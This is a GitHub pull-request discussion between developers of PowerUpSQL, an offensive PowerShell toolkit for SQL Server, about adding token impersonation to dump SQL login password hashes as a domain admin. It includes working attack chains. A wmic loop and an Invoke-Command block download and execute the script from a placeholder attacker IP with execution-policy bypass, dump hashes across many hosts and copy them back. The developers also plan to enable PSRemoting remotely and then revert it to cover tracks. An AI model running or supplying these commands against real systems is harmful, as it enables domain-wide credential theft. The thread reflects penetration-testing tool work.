NetSPI / PowerUpSQL

PowerUpSQL: A PowerShell Toolkit for Attacking SQL Server
Other
2.47k stars 462 forks source link

Add migrate switch #11

Closed m7x closed 7 years ago

m7x commented 7 years ago

Hi, This pull request that adds Invoke-TokenManipulation and a function called Get-SQLServerPasswordHash to retrieve password hashes from SQLServer instances.

Invoke-TokenManipulation can be useful in a post exploitation scenario when you have already obtained domain admin privileges but the domain admins group or your compromised domain admin account is not member of the sysadmin group. In the case it's necessary to migrate to the SQL Server process in order to retrieve the password hashes. You could achieve this either remotely (via WMI) or locally.

nullbind commented 7 years ago

Very cool. It looks like I have a merge conflict, but I think both additions would be great. I'll work through them and hit you back when I'm done.

It's good timing because I was going to roll in some other invoke-tokenmanipulation functions as well.

https://github.com/NetSPI/PowerUpSQL/tree/master/scripts/pending

Thanks for the great stuff!

nullbind commented 7 years ago

Hi Mike,

I took a quick look at Get-SQLServerPasswordHash in the lab. It was slick. It worked great against SQL Server versions 2005 to 2016.

It only failed in two scenarios when it shouldn't have:

1 - When multiple SQL Server instances exist on the same server they have the same process name. As a result, the function sometimes impersonates the wrong service account and access to the target SQL Server instance is denied.
FIX = Just make sure to choose the SQL Server process that maps to the target instance.

2 - If the local/domain administrator doesn't have any privileges to log into SQL Server, the function returns before it attempts to migrate. FIX = If the migrate flag is set then attempt to migrate even after a failed login.

Both issues are easy fixes so I'll just add them when I roll in your function.

I'll let you know when I wrap things up.

Thanks again!

Scott

m7x commented 7 years ago

Hi Scott,

I apologise for the conflict, probably I wasn't editing the latest version. I can send another merge request which shouldn't have any conflict - just let me know.

In regards to the two points, I would like to suggest the following approach.

1 - Probably we could edit the Get-SQLServerInfo to include the SQL process Id, which then would be used by Get-SQLPasswordHash in case of the switch -Migrate.

To Get the Process Id of the SQL Server instance:

$processid = select SERVERPROPERTY('processid'),SERVERPROPERTY('productversion')

Then we could pass the process Id by using the switch ProcessId of Invoke-TokenManipulation :

Invoke-TokenManipulation -ProcessId $processid -ImpersonateUser

However, this could raise an issue when you have multiple instances and you try to migrate from a previously migrated session:

PS > Invoke-TokenManipulation -ProcessId 2032 -ImpersonateUser
Main : Script must be run as administrator
At C:\Users\Administrator\PowerUpSQL-master\PowerUpSQL.ps1:17719 char:5
+     Main
+     ~~~~
    + CategoryInfo          : NotSpecified: (:) [Write-Error], WriteErrorExcep
   tion
    + FullyQualifiedErrorId : Microsoft.PowerShell.Commands.WriteErrorExceptio
   n,Main

This is because the current migrated process doesn't have permission to migrate to a new process. To circumnavigate this problem, I was inspired by your function Get-SQLServerInfoThreaded which spawns threads via Invoke-Parallel. Assuming two instances running under the processes 2032 and 1080 the following commands will only migrate the process of the current thread without loosing the original (domain administrator) privileges :

$PipelineItems = New-Object -TypeName System.Data.DataTable
$ProvideProcessId = New-Object -TypeName PSObject -Property @{Processid = 2032}
$PipelineItems = $PipelineItems + $ProvideProcessId
$ProvideProcessId = New-Object -TypeName PSObject -Property @{Processid = 1080}
$PipelineItems = $PipelineItems + $ProvideProcessId
$PipelineItems = $PipelineItems + $_
$MyScriptBlock = { Invoke-TokenManipulation -ProcessId $_.Processid -ImpersonateUser; Invoke-TokenManipulation -WhoAmI| Out-File WhoAmI.txt }
$PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle 2 -RunspaceTimeout 5 -Quiet -ErrorAction SilentlyContinue
Invoke-TokenManipulation -WhoAmI

You should get an output similar to the following:

PS > $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle 2 -RunspaceTimeout 5 -Quiet -ErrorAction SilentlyContinue
Running As: NT Service\MSSQL$INSTANCE1
Running As: NT Service\MSSQLSERVER
PS > Invoke-TokenManipulation -WhoAmI
TESTDOMAIN\administrator

2- We could use the following code to check local administrator privileges (which I've stolen online):

$user = [Security.Principal.WindowsIdentity]::GetCurrent();
(New-Object Security.Principal.WindowsPrincipal $user).IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator)  

Finally, I would like to ask your opinion. Imagine a post-exploitation scenario where you are domain administrator, you would like to dump all password hashes but you don’t have sysadmin rights on some SQL instances. You have essentially two options:

1) Enumerate users of the sysadmin group, load PowerUpSQL under one of those users (runas), and then dump the hashes 2) Use WMI to load PowerUpSQL remotely, use the switch -Migrate to migrate to SQL Server process, save the results somewhere in the filesystem, and finally move them to your folder

Option 2) could be achieved with the following WMI command but I am not sure if there is a more "elegant" way to accomplish this task, ideally without touching the file system:

FOR /F %a IN (hosts.txt) do echo %a && wmic /node:%a process call create "powershell -nop -exec bypass -Command $b = New-Object System.Net.WebClient; $b.Proxy.Credentials = System.Net.CredentialCache]::DefaultNetworkCredentials; iex $b.DownloadString('http://[YOUR-IP]/PowerUpSQL.ps1'); $target = Get-SQLInstanceLocal; $hash = $target | Get-SQLServerPasswordHash -Migrate ; $hash | Export-Csv C:\Windows\Temp\%a_hashes.csv;" && timeout 20 && move \\%a\C$\Windows\Temp\%a_hashes.csv .

Many thanks, Mike

nullbind commented 7 years ago

Hi Mike,

I'm pretty sure the merge issue was my bad. I'm not quite the Github master I would like to be. :) I pushed out an updated version of your function manually with a few tweaks to account for the prelisted scenarios. It runs just fine in all my test cases so it should be solid, but let me know if you have any issues because of my mods.

I’ve also tried to address your comments below, but let me know if I missed anything.

  1. I think adding the pid to get-sqlserverinfo output is a great idea, and I’ll update it later this week. However, it can't be used when the local\domain admin doesn't have any rights to log into SQL Server. So instead I’m pulling the pid from Get-SQLServiceLocal. It grabs the pid when the migrate switch is used, and it just checks locally registered SQL Services. That way it isn't dependent on a successful login.

  2. I added a line to rev2self after each instance is processed to avoid permissions issues with multiple instances. It worked in the lab, but let me know if you have any issues with it.

  3. I think verifying the current user has local admin privs is a good idea too. I’ll add that update later in the week.

  4. I think the tweaks I made to your function will allow you to execute the Get-SQLServerPasswordHash -migrate command successfully if you’re a DA with local admin rights to the target windows server even if you have no rights to log into the SQL Server. At least it worked my lab.

  5. Remote targeting stuff… a. I think you can use invoke-command to output all results to your local system without having to create files on the remote system.

$results = Invoke-Command -ComputerName MyServer1 -ScriptBlock {$b = New-Object System.Net.WebClient; $b.Proxy.Credentials = System.Net.CredentialCache]::DefaultNetworkCredentials; iex $b.DownloadString('http://[YOUR-IP]/PowerUpSQL.ps1'); $target = Get-SQLInstanceLocal; $hash = $target | Get-SQLServerPasswordHash -Migrate ; }

b. When using WMI, I think you could write the results directly to your unc path instead of writing them to the remote system first….i didn’t test that one though.

I’ll try to get the functions manually updated as described above in the next week or so then I’ll close the ticket out. I’ll have to figure out merger magic another time . In the meantime, I made sure you got called out for your work, but let me know if you have any other thoughts. Very fun stuff!

Thanks,

Scott

m7x commented 7 years ago

Hi Scott,

Thanks for the update. I will try it against my lab and provide my feedback ASAP.

5.a ) Wouldn't it require PSRemoting to be enabled on the target (MyServer1 in your example) ? 5.b) I tried that approach the first time that I was thinking about using WMI but unfortunately it didn't work. Running the following under domain admin privileges doesn't create the test file:

wmic /node:192.168.90.101 process call create "cmd /c echo hello > \\192.168.90.100\C$\test.txt"

Note that if I run cmd /c echo hello > \\192.168.90.100\C$\test.txt from a RDP session on 192.168.90.101 works fine.

nullbind commented 7 years ago

Hi Mike,

5.a) Yes, you are correct, invoke-command does require PowerShell Remoting to be enabled on the target server. It's definitely not as flexible as WMI, but it still works against a subset of SQL Servers in most environments.

5.b) That's weird that execution via wmic isn't writing to the UNC path. I'm not sure what the issue is, but I'll ask the netspi folks if they can remember a work around. I'm pretty sure we have also done file upload/downloads via WMI using custom and registry classes (Matt Graeber style), but I'll have to get back to you on that one :)

Scott

m7x commented 7 years ago

Hi Scott,

I have tested your latest version.

In my lab I have two instances running on the same SQL Server. If I don't use the switch -Migrate, it will grab the hashes of the first instance only where the current user (DOMAIN\Administrator) is member of the sysadmin group, as expected. If I run it with -Migrate I get the following error:

C:\>powershell -nop -exec bypass
PS C:\> Import-Module .\PowerUpSQL.ps1
PS C:\> $instance = Get-SQLInstanceLocal
PS C:\> $instance | Get-SQLServerPasswordHash -Migrate -Verbose
VERBOSE: WIN-TJNQG4I5UKO : Connection Success.
VERBOSE: WIN-TJNQG4I5UKO : You are a sysadmin.
Main : Script must be run as administrator
At C:\PowerUpSQL.ps1:17882 char:5
+     Main
+     ~~~~
    + CategoryInfo          : NotSpecified: (:) [Write-Error], WriteErrorExcep
   tion
    + FullyQualifiedErrorId : Microsoft.PowerShell.Commands.WriteErrorExceptio
   n,Main

PS C:\>

Any thoughts? I am domain admin when I launch it.

nullbind commented 7 years ago

My retest with more variable service account configurations resulted in the same error you got.

After a little troubleshooting It looks like line 17763 (Invoke-TokenManipulation) wants the the current user to be an explicit local administrator. It doesn't take into account "Domain Admin" group memberships. If i comment it out everything works fine, but I'll have to put in a better local admin check that accounts for all the group memberships later this week - almost there :)

nullbind commented 7 years ago

I think everything works now. I tested the following scenarios:

Below is a summary of the updates.

Let me know how it works for you. :)

Thanks,

Scott

m7x commented 7 years ago

Hi Scott,

Thanks a lot for the updates!

I have done some tests. When I run it locally it works fine despite a few error messages:

PS C:\> $instance | Get-SQLServerPasswordHash -Migrate -Verbose
VERBOSE: WIN-TJNQG4I5UKO : Connection Success.
VERBOSE: WIN-TJNQG4I5UKO : You are not a sysadmin.
VERBOSE: WIN-TJNQG4I5UKO : TESTDOMAIN\administrator has local admin privileges.
VERBOSE: WIN-TJNQG4I5UKO : Impersonating SQL Server process:
VERBOSE: WIN-TJNQG4I5UKO : - Process ID: 1080
VERBOSE: WIN-TJNQG4I5UKO : - ServiceAccount: NT Service\MSSQLSERVER
VERBOSE: WIN-TJNQG4I5UKO : Successfully queried thread token
VERBOSE: Failed to open process handle for ProcessId: 516. ProcessName
services. Error code: 203 . This is likely because this is a protected process.
VERBOSE: Failed to open process handle for ProcessId: 256. ProcessName smss.
Error code: 203 . This is likely because this is a protected process.
VERBOSE: Failed to open process handle for ProcessId: 2368. ProcessName sppsvc.
 Error code: 203 . This is likely because this is a protected process.
VERBOSE: WIN-TJNQG4I5UKO : Successfully queried thread token
VERBOSE: WIN-TJNQG4I5UKO : Successfully queried thread token
VERBOSE: WIN-TJNQG4I5UKO : Selecting token by Process object
VERBOSE: WIN-TJNQG4I5UKO : Attempting to dump password hashes.
VERBOSE: WIN-TJNQG4I5UKO : Attempt complete.
VERBOSE: WIN-TJNQG4I5UKO\INSTANCE1 : Connection Success.
VERBOSE: WIN-TJNQG4I5UKO\INSTANCE1 : You are a sysadmin.
VERBOSE: WIN-TJNQG4I5UKO\INSTANCE1 : Attempting to dump password hashes.
VERBOSE: WIN-TJNQG4I5UKO\INSTANCE1 : Attempt complete.
VERBOSE: 6 password hashes recovered.

ComputerName        : WIN-TJNQG4I5UKO
Instance            : WIN-TJNQG4I5UKO
PrincipalId         : 1
PrincipalName       : sa
PrincipalSid        : 1
PrincipalType       : SQL_LOGIN
CreateDate          : 08/04/2003 09:10:35
DefaultDatabaseName : master
PasswordHash        : .....

[...]

ComputerName        : WIN-TJNQG4I5UKO
Instance            : WIN-TJNQG4I5UKO\INSTANCE1
PrincipalId         : 1
PrincipalName       : sa
PrincipalSid        : 1
PrincipalType       : SQL_LOGIN
CreateDate          : 08/04/2003 09:10:35
DefaultDatabaseName : master
PasswordHash        : .....

It's also fine remotely with wmic. I haven't tested it with PSRemoting but I don't think it will break. The advantage of PSRemoting is that won't touch the remote file system. Perhaps that's the correct route to go. Assuming a post exploitation scenario with domain administrator privileges already compromised, the script will: 1) remotely enable PSRemoting if not already enabled 2) dump the password hashes with the switch -Migrate 3) finally revert the systems did not have PSRemoting back

Anyway, great stuff!

Mike

nullbind commented 7 years ago

Cool! Thanks for testing it again. I'm glad it worked this time. :)

I didn't test it against protected processes, so that explains the errors. I'll have to add that to my list of common test cases in the future.

I like how you're thinking about the remote execution via wmi/ps etc. I'll have to put some more thought into how to bake something like that into PowerUpSQL long term. It would be nice to have a "-RunAsSQLService" switch on each function, or something similar. :) That would make running everything on scale as a DA much easier.

Is there anything else you wanted baked in this round or are you ok with me closing this ticket?

Side Note: I also added a new function called Invoke-SQLImpersonateService. If you target a local instance as an administrator it will impersonate the associated SQL Server service account. Then you can run any PowerUpSQL command you want as a sysadmin. Hopefully it will be helpful too.

Example Commands:

Impersonate service account associated with an instance Invoke-SQLImpersonateService -Instance Server1\Instance1

Run any PowerUpSQL command Get-SQLServerInfo

Revert back to your original user context Invoke-SQLImpersonateService -Rev2Self

m7x commented 7 years ago

I am happy to close this off. PowerUpSQL's -migrate switch now works great! Cool staff thanks!

I am thinking about your RunAsSQLService and I will send a pull request as soon as I have a bit of spare time.

Many thanks.

nullbind commented 7 years ago

Ha, no rush! Thanks again for all your work!